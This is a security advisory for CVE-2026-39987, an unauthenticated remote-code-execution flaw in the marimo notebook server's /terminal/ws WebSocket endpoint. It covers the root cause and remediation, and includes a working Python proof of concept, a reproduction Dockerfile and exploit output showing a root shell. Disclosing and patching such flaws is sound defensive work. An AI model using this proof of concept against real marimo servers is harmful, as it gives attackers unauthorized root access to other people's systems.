CVE-2026-39987: Marimo Remote Code Execution Vulnerability
Summary
Marimo (19.6k stars) has a Pre-Auth RCE vulnerability. The terminal WebSocket endpoint /terminal/ws lacks authentication validation, allowing an unauthenticated attacker to obtain a full PTY shell and execute arbitrary system commands.
Unlike other WebSocket endpoints (e.g., /ws) that correctly call validateauth() for authentication, the /terminal/ws endpoint only checks the running mode and platform support before accepting connections, completely skipping authentication verification.
Affected Versions
Marimo <= 0.20.4
Vulnerability Details
Root Cause: Terminal WebSocket Missing Authentication
marimo/server/api/endpoints/terminal.py lines 340-356:
python @router.websocket("/ws") async def websocketendpoint(websocket: WebSocket) -> None: appstate = AppState(websocket) if appstate.mode != SessionMode.EDIT: await websocket.close(...) return if not supportsterminal(): await websocket.close(...) return # No authentication check! await websocket.accept() # Accepts connection directly # ... childpid, fd = pty.fork() # Creates PTY shell
Compare with the correctly implemented /ws endpoint (wsendpoint.py lines 67-82):
python @router.websocket("/ws") async def websocketendpoint(websocket: WebSocket) -> None: appstate = AppState(websocket) validator = WebSocketConnectionValidator(websocket, appstate) if not await validator.validateauth(): # Correct auth check return
Authentication Middleware Limitation
Marimo uses Starlette's AuthenticationMiddleware, which marks failed auth connections as UnauthenticatedUser but does NOT actively reject WebSocket connections. Actual auth enforcement relies on endpoint-level @requires() decorators or validateauth() calls.
The /terminal/ws endpoint has neither a @requires("edit") decorator nor a validateauth() call, so unauthenticated WebSocket connections are accepted even when the auth middleware is active.
Attack Chain
1. WebSocket connect to ws://TARGET:2718/terminal/ws (no auth needed) 2. websocket.accept() accepts the connection directly 3. pty.fork() creates a PTY child process 4. Full interactive shell with arbitrary command execution 5. Commands run as root in default Docker deployments
A single WebSocket connection yields a complete interactive shell.
Proof of Concept
python import websocket import time
Connect without any authentication ws = websocket.WebSocket() ws.connect('ws://TARGET:2718/terminal/ws') time.sleep(2)
Drain initial output try: while True: ws.settimeout(1) ws.recv() except: pass
Execute arbitrary command ws.settimeout(10) ws.send('id\n') time.sleep(2) print(ws.recv()) # uid=0(root) gid=0(root) groups=0(root) ws.close()
Reproduction Environment
dockerfile FROM python:3.12-slim RUN pip install --no-cache-dir marimo==0.20.4 RUN mkdir -p /app/notebooks RUN echo 'import marimo as mo; app = mo.App()' > /app/notebooks/test.py WORKDIR /app/notebooks EXPOSE 2718 CMD ["marimo", "edit", "--host", "0.0.0.0", "--port", "2718", "."]
Reproduction Result
With auth enabled (server generates random accesstoken), the exploit bypasses authentication entirely:
$ python3 exp.py http://127.0.0.1:2718 exec "id && whoami && hostname" [+] No auth needed! Terminal WebSocket connected [+] Output: uid=0(root) gid=0(root) groups=0(root) root ddfc452129c3
Suggested Remediation
1. Add authentication validation to /terminal/ws endpoint, consistent with /ws using WebSocketConnectionValidator.validateauth() 2. Apply unified authentication decorators or middleware interception to all WebSocket endpoints 3. Terminal functionality should only be available when explicitly enabled, not on by default
Impact
An unauthenticated attacker can obtain a full interactive root shell on the server via a single WebSocket connection. No user interaction or authentication token is required, even when authentication is enabled on the marimo instance.
Other sources
Marimo contains an pre-authorization remote code execution vulnerability, allowing an unauthenticated attacked to shell access and execute arbitrary system commands.
— CISA
marimo is a reactive Python notebook. Prior to 0.23.0, Marimo has a Pre-Auth RCE vulnerability. The terminal WebSocket endpoint /terminal/ws lacks authentication validation, allowing an unauthenticated attacker to obtain a full PTY shell and execute arbitrary system commands. Unlike other WebSocket endpoints (e.g., /ws) that correctly call validateauth() for authentication, the /terminal/ws endpoint only checks the running mode and platform support before accepting connections, completely skipping authentication verification. This vulnerability is fixed in 0.23.0.
— NVD
Affected Software
Remediation
Recommended actions to resolve this vulnerability, in priority order.
- Upgrade
Upgrade
pip/marimoto a version that resolves this vulnerability.Fixed in 0.23.0 - Configuration
Insert a call to WebSocketConnectionValidator.validate_auth() (the same authentication check used by /ws) and enforce its result before calling websocket.accept(); close/deny the connection if validate_auth() returns false.
marimo /terminal/ws endpoint (marimo/_server/api/endpoints/terminal.py) call WebSocketConnectionValidator.validate_auth() before accepting = enabled - Configuration
Apply an endpoint-level authentication decorator (for example @requires('edit')) to /terminal/ws so that authorization is enforced at the endpoint, consistent with other WebSocket endpoints.
marimo /terminal/ws endpoint (marimo/_server/api/endpoints/terminal.py) @requires('edit') endpoint decorator present = present - Configuration
Disable terminal functionality by default and require an explicit configuration flag to enable /terminal/ws; ensure terminal endpoints are opt-in only.
marimo terminal feature terminal_enabled_by_default = false - Compensating control
Restrict network access to the management/terminal port and endpoint: block or limit inbound access to TCP port 2718 and the /terminal/ws WebSocket endpoint via firewall, security group, or ACLs to trusted administrative IPs only; do not expose port 2718 to the public Internet.